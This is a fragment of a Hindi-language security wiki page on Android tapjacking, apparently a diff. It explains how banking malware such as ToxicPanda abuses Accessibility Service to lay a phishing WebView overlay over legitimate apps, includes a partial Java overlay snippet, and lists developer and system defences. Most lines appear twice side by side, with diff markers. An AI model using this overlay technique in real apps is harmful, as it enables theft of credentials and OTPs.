क्लासिक Tapjacking के अलावा, आधुनिक Android बैंकिंग मैलवेयर परिवार (जैसे **ToxicPanda**, BrasDex, Sova, आदि) **Accessibility Service** का दुरुपयोग करते हैं ताकि वैध एप्लिकेशन के ऊपर एक पूर्ण-स्क्रीन WebView **ओवरले** रखा जा सके जबकि अभी भी उपयोगकर्ता इनपुट को नीचे के दृश्य में **आगे बढ़ाने** में सक्षम हो। यह विश्वसनीयता को नाटकीय रूप से बढ़ाता है और हमलावरों को क्रेडेंशियल, OTP या यहां तक कि धोखाधड़ी लेनदेन को स्वचालित करने की अनुमति देता है। क्लासिक Tapjacking के अलावा, आधुनिक Android बैंकिंग मैलवेयर परिवार (जैसे **ToxicPanda**, BrasDex, Sova, आदि) **Accessibility Service** का दुरुपयोग करते हैं ताकि वैध एप्लिकेशन के ऊपर एक पूर्ण-स्क्रीन WebView **ओवरले** रखा जा सके जबकि अभी भी उपयोगकर्ता इनपुट को नीचे के दृश्य में **आगे बढ़ाने** में सक्षम हो। यह विश्वसनीयता को नाटकीय रूप से बढ़ाता है और हमलावरों को क्रेडेंशियल, OTP या यहां तक कि धोखाधड़ी लेनदेन को स्वचालित करने की अनुमति देता है।
### यह कैसे काम करता है ### यह कैसे काम करता है
1. दुर्भावनापूर्ण APK अत्यधिक संवेदनशील `BIND_ACCESSIBILITY_SERVICE` अनुमति का अनुरोध करता है, आमतौर पर एक नकली Google/Chrome/PDF-व्यूअर संवाद के पीछे अनुरोध को छिपाते हुए। 1. दुर्भावनापूर्ण APK अत्यधिक संवेदनशील `BIND_ACCESSIBILITY_SERVICE` अनुमति का अनुरोध करता है, आमतौर पर अनुरोध को एक नकली Google/Chrome/PDF-दृश्यक संवाद के पीछे छिपाते हुए।
2. एक बार जब उपयोगकर्ता सेवा को सक्षम करता है, तो मैलवेयर प्रोग्रामेटिक रूप से अतिरिक्त खतरनाक अनुमतियाँ (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …) देने के लिए आवश्यक टैप का अनुकरण करता है। 2. एक बार जब उपयोगकर्ता सेवा को सक्षम करता है, तो मैलवेयर प्रोग्रामेटिक रूप से अतिरिक्त खतरनाक अनुमतियाँ (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …) देने के लिए आवश्यक टैप का अनुकरण करता है।
3. एक **WebView** को फुलाया जाता है और इसे **`TYPE_ACCESSIBILITY_OVERLAY`** विंडो प्रकार का उपयोग करके विंडो प्रबंधक में जोड़ा जाता है। ओवरले को पूरी तरह से अपारदर्शी या अर्ध-पारदर्शी के रूप में प्रस्तुत किया जा सकता है और इसे *“थ्रू”* के रूप में चिह्नित किया जा सकता है ताकि मूल स्पर्श अभी भी पृष्ठभूमि गतिविधि को भेजे जाएं (इस प्रकार लेनदेन वास्तव में होता है जबकि पीड़ित केवल फ़िशिंग फॉर्म देखता है)। 3. एक **WebView** को फुलाया जाता है और इसे **`TYPE_ACCESSIBILITY_OVERLAY`** विंडो प्रकार का उपयोग करके विंडो प्रबंधक में जोड़ा जाता है। ओवरले को पूरी तरह से अपारदर्शी या अर्ध-पारदर्शी के रूप में प्रस्तुत किया जा सकता है और इसे *“थ्रू”* के रूप में चिह्नित किया जा सकता है ताकि मूल स्पर्श अभी भी पृष्ठभूमि गतिविधि को भेजे जाएं (इस प्रकार लेनदेन वास्तव में होता है जबकि पीड़ित केवल फ़िशिंग फॉर्म देखता है)।
```java ```java
WebView phishingView = new WebView(getApplicationContext()); WebView phishingView = new WebView(getApplicationContext());
phishingView.getSettings().setJavaScriptEnabled(true); phishingView.getSettings().setJavaScriptEnabled(true);
@ -97,9 +97,15 @@ wm.addView(phishingView, lp);
- संवेदनशील दृश्य पर **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) सक्षम करें ताकि गैर-Play-Store सेवाओं को ब्लॉक किया जा सके। - संवेदनशील दृश्य पर **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) सक्षम करें ताकि गैर-Play-Store सेवाओं को ब्लॉक किया जा सके।
- `setFilterTouchesWhenObscured(true)` और `FLAG_SECURE` के साथ संयोजन करें। - `setFilterTouchesWhenObscured(true)` और `FLAG_SECURE` के साथ संयोजन करें।
* सिस्टम हार्डनिंग: * सिस्टम हार्डनिंग:
- *Unknown Sources से इंस्टॉल* और *अविश्वसनीय ऐप्स के लिए Accessibility* को अक्षम करें। - *Unknown Sources से इंस्टॉल* और *अविश्वसनीय ऐप्स के लिए Accessibility* को निष्क्रिय करें।
- PlayProtect और अद्यतन उपकरणों को लागू करें। - PlayProtect और अद्यतन उपकरणों को लागू करें।
For additional details on leveraging Accessibility Services for full remote device control (e.g. PlayPraetor, SpyNote, etc.) see:
{{#ref}}
accessibility-services-abuse.md
{{#endref}}
## References ## References
* [Bitsight ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study) * [Bitsight ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)